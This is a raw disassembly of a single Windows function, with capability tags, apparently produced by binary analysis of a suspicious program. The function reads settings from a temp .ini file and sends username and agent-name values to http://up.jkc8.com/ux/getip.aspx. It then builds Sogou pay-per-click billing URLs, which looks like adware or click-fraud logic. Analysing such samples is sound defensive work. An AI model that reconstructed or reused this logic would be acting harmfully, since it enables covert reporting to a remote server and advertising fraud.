Function at 0x405350
Capabilities:
Get common file path
Read .ini file
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x43f2f1
mov eax, dword fs:[0]
push eax
sub esp, 0x1ac
mov eax, dword [0x454810]
xor eax, esp
mov dword [esp + 0x1a8], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x454810]
xor eax, esp
push eax
lea eax, [esp + 0x1c0]
mov dword fs:[0], eax
xor ebx, ebx
push 0x31
lea eax, [esp + 0x89]
push ebx
mov dword [esp + 0x40], ebx
push eax
mov dword [esp + 0x50], ecx
mov byte [esp + 0x90], bl
call fcn.00428200
push 0x31
lea ecx, [esp + 0x61]
push ebx
push ecx
mov byte [esp + 0x68], bl
call fcn.00428200
push 0x104
lea edx, [esp + 0xd4]
push ebx
push edx
call fcn.00428200
add esp, 0x24
call fcn.00415286
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x4053ed
push 0x80004005
call fcn.00401000
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [esp + 0x2c], esi
mov dword [esp + 0x1c8], ebx
call fcn.00415286
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x40541e
push 0x80004005
call fcn.00401000
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea ebp, [eax + 0x10]
mov dword [esp + 0x3c], ebp
push ebx
push str.SysV
push str.Config
mov byte [esp + 0x1d4], 1
call dword [sym.imp.KERNEL32.dll_GetProfileIntA]
test eax, eax
je 0x405495
lea ecx, [esp + 0xb8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp + 0xb8]
dec eax
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x405466
mov edx, dword [str.MJPGC.TMP]
mov ecx, dword [0x4430c8]
mov dword [eax], edx
mov dx, word [0x4430cc]
mov dword [eax + 4], ecx
mov cl, byte [0x4430ce]
mov word [eax + 8], dx
mov byte [eax + 0xa], cl
jmp 0x4054db
push 0x104
lea edx, [esp + 0xbc]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [esp + 0xb8]
dec eax
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x4054b0
mov ecx, dword [str.TempMJPGC.TMP]
mov edx, dword [0x4430b8]
mov dword [eax], ecx
mov ecx, dword [0x4430bc]
mov dword [eax + 4], edx
mov edx, dword [0x4430c0]
mov dword [eax + 8], ecx
mov dword [eax + 0xc], edx
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [esp + 0xb8]
push eax
push 0x20
lea ecx, [esp + 0x8c]
push ecx
push 0x442a77
push 0x4430b0
push str.Config
call edi
cmp byte [esp + 0x84], bl
jne 0x40558a
mov ecx, dword [esp + 0x44]
call fcn.00411889
lea eax, [ebp - 0x10]
or ecx, 0xffffffff
lea edx, [eax + 0xc]
mov byte [esp + 0x1c8], bl
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x405539
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add esi, 0xfffffff0
mov dword [esp + 0x1c8], 0xffffffff
lea ecx, [esi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x405560
mov ecx, dword [esi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push esi
call edx
xor eax, eax
mov ecx, dword [esp + 0x1c0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x1a8]
xor ecx, esp
call fcn.0042827a
add esp, 0x1b8
ret
lea eax, [esp + 0xb8]
push eax
push 0x20
lea ecx, [esp + 0x58]
push ecx
push str.58wangwei
push 0x4430a0
push str.Config
call edi
cmp byte [esp + 0x50], bl
je 0x40550d
push str.lxtao1
lea eax, [esp + 0x54]
push eax
lea ecx, [esp + 0x8c]
push ecx
push str.http:__up.jkc8.com_ux_getip.aspx_
lea edx, [esp + 0x4c]
push str._susername_sagname_s_s
push edx
call fcn.00403190
mov eax, dword [esp + 0x54]
add esp, 0x18
push eax
lea ecx, [esp + 0x38]
call fcn.004033f0
mov eax, dword [esi - 8]
mov edi, 1
mov ecx, edi
sub ecx, dword [esi - 4]
sub eax, 0x800
or eax, ecx
mov byte [esp + 0x1c8], 2
jge 0x40561b
push 0x800
lea ecx, [esp + 0x30]
call fcn.004025a0
mov esi, dword [esp + 0x2c]
mov eax, dword [esp + 0x34]
cmp dword [eax - 4], edi
jle 0x405635
mov ecx, dword [eax - 0xc]
push ecx
lea ecx, [esp + 0x38]
call fcn.00402340
mov eax, dword [esp + 0x34]
push esi
push eax
mov ecx, 0x455c90
call fcn.00401320
mov eax, dword [esi - 8]
push eax
push esi
call fcn.00429951
add esp, 8
cmp eax, ebx
jl 0x405d28
cmp eax, dword [esi - 8]
jg 0x405d28
mov dword [esi - 0xc], eax
mov byte [eax + esi], bl
cmp dword [esi - 4], edi
jle 0x40567b
mov edx, dword [esi - 0xc]
push edx
lea ecx, [esp + 0x30]
call fcn.00401f40
mov esi, dword [esp + 0x2c]
cmp dword [esi - 4], edi
mov ebp, esi
jle 0x405693
mov eax, dword [esi - 0xc]
push eax
lea ecx, [esp + 0x30]
call fcn.00401f40
mov esi, dword [esp + 0x2c]
push ebp
push esi
mov ecx, 0x455c90
call fcn.00401300
mov eax, dword [esi - 8]
push eax
push esi
call fcn.00429951
add esp, 8
cmp eax, ebx
jl 0x405d28
cmp eax, dword [esi - 8]
jg 0x405d28
mov dword [esi - 0xc], eax
mov byte [eax + esi], bl
cmp dword [esi - 0xc], ebx
mov dword [esp + 0x48], ebx
jl 0x4056f0
push 0x443050
push esi
call fcn.00429487
add esp, 8
cmp eax, ebx
je 0x4056f0
sub eax, esi
js 0x4056f0
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea ecx, [esp + 0x48]
push ecx
push 0x44304c
lea edx, [esp + 0x48]
push edx
lea ecx, [esp + 0x38]
call fcn.00403fe0
mov ebp, dword [esp + 0x44]
sub ebp, 0xffffff80
push eax
mov ecx, ebp
mov byte [esp + 0x1cc], 3
call fcn.004030d0
mov eax, dword [esp + 0x40]
add eax, 0xfffffff0
mov byte [esp + 0x1c8], 2
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x405747
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x48]
push ecx
push 0x44304c
lea edx, [esp + 0x54]
push edx
lea ecx, [esp + 0x38]
call fcn.00403fe0
mov eax, dword [esp + 0x4c]
cmp dword [eax - 0xc], edi
mov byte [esp + 0x1c8], 4
jl 0x405cbc
cmp dword [esp + 0x48], ebx
jl 0x405cbc
lea eax, [esp + 0x48]
push eax
push 0x44304c
lea ecx, [esp + 0x38]
push ecx
lea ecx, [esp + 0x38]
call fcn.00403fe0
mov edx, dword [esp + 0x30]
cmp dword [edx - 0xc], edi
mov byte [esp + 0x1c8], 5
jl 0x405c36
cmp dword [esp + 0x48], ebx
jl 0x405c36
lea ecx, [esp + 0x14]
call fcn.00403a70
push 0x442a77
lea ecx, [esp + 0x1c]
mov byte [esp + 0x1cc], 6
mov dword [esp + 0x18], edi
call fcn.004036b0
mov esi, dword [esp + 0x44]
lea eax, [esp + 0x14]
add esi, 0x12c
push eax
mov ecx, esi
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
call fcn.004052a0
push ebp
lea ecx, [esp + 0x1c]
mov dword [esp + 0x18], 3
call fcn.004030d0
lea ecx, [esp + 0x14]
push ecx
mov ecx, esi
call fcn.004052a0
push str.http:__www.
lea ecx, [esp + 0x1c]
mov dword [esp + 0x18], 4
call fcn.004036b0
lea edx, [esp + 0x14]
push edx
mov ecx, esi
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], 0x1e
mov dword [esp + 0x28], 0x64
mov dword [esp + 0x2c], 0xc8
call fcn.004052a0
push 0x44303c
lea ecx, [esp + 0x1c]
mov dword [esp + 0x18], 8
call fcn.004036b0
lea eax, [esp + 0x14]
push eax
mov ecx, esi
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], 3
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
call fcn.004052a0
push str.text
lea ecx, [esp + 0x1c]
mov dword [esp + 0x18], 5
call fcn.004036b0
lea ecx, [esp + 0x14]
push ecx
mov ecx, esi
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
call fcn.004052a0
lea edx, [esp + 0x30]
push edx
lea ecx, [esp + 0x1c]
mov dword [esp + 0x18], 7
call fcn.004030d0
lea eax, [esp + 0x14]
push eax
mov ecx, esi
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
call fcn.004052a0
mov ebp, 2
push 0x443030
lea ecx, [esp + 0x1c]
mov dword [esp + 0x18], ebp
call fcn.004036b0
mov dword [esp + 0x1c], ebx
lea ecx, [esp + 0x14]
push ecx
mov ecx, esi
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
call fcn.004052a0
push str.submit
lea ecx, [esp + 0x1c]
mov dword [esp + 0x18], 5
call fcn.004036b0
lea edx, [esp + 0x14]
push edx
mov ecx, esi
mov dword [esp + 0x20], edi
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
call fcn.004052a0
push 0x443024
lea ecx, [esp + 0x1c]
call fcn.004036b0
lea eax, [esp + 0x14]
push eax
mov ecx, esi
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
call fcn.004052a0
push str.http:__www.sogou.com_bill_cpc_
lea ecx, [esp + 0x1c]
mov dword [esp + 0x18], 4
call fcn.004036b0
lea ecx, [esp + 0x14]
push ecx
mov ecx, esi
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], 0x28
mov dword [esp + 0x2c], ebx
call fcn.004052a0
push 0x443024
lea ecx, [esp + 0x1c]
mov dword [esp + 0x18], ebp
call fcn.004036b0
lea edx, [esp + 0x14]
push edx
mov ecx, esi
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
call fcn.004052a0
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x1c]
mov dword [esp + 0x18], 4
call fcn.004030d0
lea ecx, [esp + 0x14]
push ecx
mov ecx, esi
mov dword [esp + 0x20], edi
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], 0x64
mov dword [esp + 0x2c], ebx
call fcn.004052a0
push 0x443024
lea ecx, [esp + 0x1c]
mov dword [esp + 0x18], ebp
call fcn.004036b0
lea edx, [esp + 0x14]
push edx
mov ecx, esi
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
call fcn.004052a0
mov eax, dword [esp + 0x30]
mov dword [esp + 0x14], 4
cmp dword [eax - 0xc], 3
jle 0x405a7b
push 3
lea ecx, [esp + 0x44]
push ecx
lea ecx, [esp + 0x38]
call fcn.00402c10
mov byte [esp + 0x1c8], 7
mov dword [esp + 0x38], edi
jmp 0x405a7f
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x1c]
call fcn.004030d0
test byte [esp + 0x38], 1
mov dword [esp + 0x1c8], 6
je 0x405aa9
and dword [esp + 0x38], 0xfffffffe
lea ecx, [esp + 0x40]
call fcn.00401400
lea edx, [esp + 0x14]
push edx
mov ecx, esi
mov dword [esp + 0x20], 3
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], 0x64
mov dword [esp + 0x2c], ebx
call fcn.004052a0
push 0x443024
lea ecx, [esp + 0x1c]
mov dword [esp + 0x18], ebp
call fcn.004036b0
lea eax, [esp + 0x14]
push eax
mov ecx, esi
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
call fcn.004052a0
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x14], 4
cmp dword [ecx - 0xc], 3
jle 0x405b2b
push 3
lea edx, [esp + 0x44]
push edx
lea ecx, [esp + 0x38]
call fcn.00402c10
or dword [esp + 0x38], ebp
mov byte [esp + 0x1c8], 8
jmp 0x405b2f
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x1c]
call fcn.004030d0
test byte [esp + 0x38], 2
mov dword [esp + 0x1c8], 6
je 0x405b54
lea ecx, [esp + 0x40]
call fcn.00401400
mov dword [esp + 0x1c], edi
lea eax, [esp + 0x14]
mov edi, 0x64
push eax
mov ecx, esi
mov dword [esp + 0x24], 5
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], ebx
call fcn.004052a0
push 0x443024
lea ecx, [esp + 0x1c]
mov dword [esp + 0x18], ebp
call fcn.004036b0
lea ecx, [esp + 0x14]
push ecx
mov ecx, esi
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
call fcn.004052a0
push str.http:__www.
lea ecx, [esp + 0x1c]
mov dword [esp + 0x18], 4
call fcn.004036b0
lea edx, [esp + 0x14]
push edx
mov ecx, esi
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], 0x1e
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], ebx
call fcn.004052a0
push 0x443000
lea ecx, [esp + 0x1c]
mov dword [esp + 0x18], ebp
call fcn.004036b0
lea eax, [esp + 0x14]
push eax
mov ecx, esi
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
call fcn.004052a0
mov ecx, dword [esi + 0x10]
sub ecx, dword [esi + 0xc]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x405c68
mov ecx, dword [esp + 0x44]
call fcn.00411889
lea ecx, [esp + 0x14]
call fcn.004014f0
lea ecx, [esp + 0x30]
call fcn.00401400
lea ecx, [esp + 0x4c]
call fcn.00401400
lea ecx, [esp + 0x34]
call fcn.00401400
lea ecx, [esp + 0x3c]
call fcn.00401400
lea ecx, [esp + 0x2c]
call fcn.00401400
jmp 0x405560
mov ecx, dword [esi + 0x10]
sub ecx, dword [esi + 0xc]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov esi, edx
shr esi, 0x1f
lea ecx, [esp + 0x14]
add esi, edx
call fcn.004014f0
lea ecx, [esp + 0x30]
call fcn.00401400
lea ecx, [esp + 0x4c]
call fcn.00401400
lea ecx, [esp + 0x34]
call fcn.00401400
lea ecx, [esp + 0x3c]
call fcn.00401400
lea ecx, [esp + 0x2c]
call fcn.00401400
mov eax, esi
jmp 0x405562
add eax, 0xfffffff0
mov byte [esp + 0x1c8], 2
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x405ce0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
mov byte [esp + 0x1c8], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x405d08
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
mov byte [esp + 0x1c8], bl
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jmp 0x40552d
push 0x80070057
call fcn.00401000
int3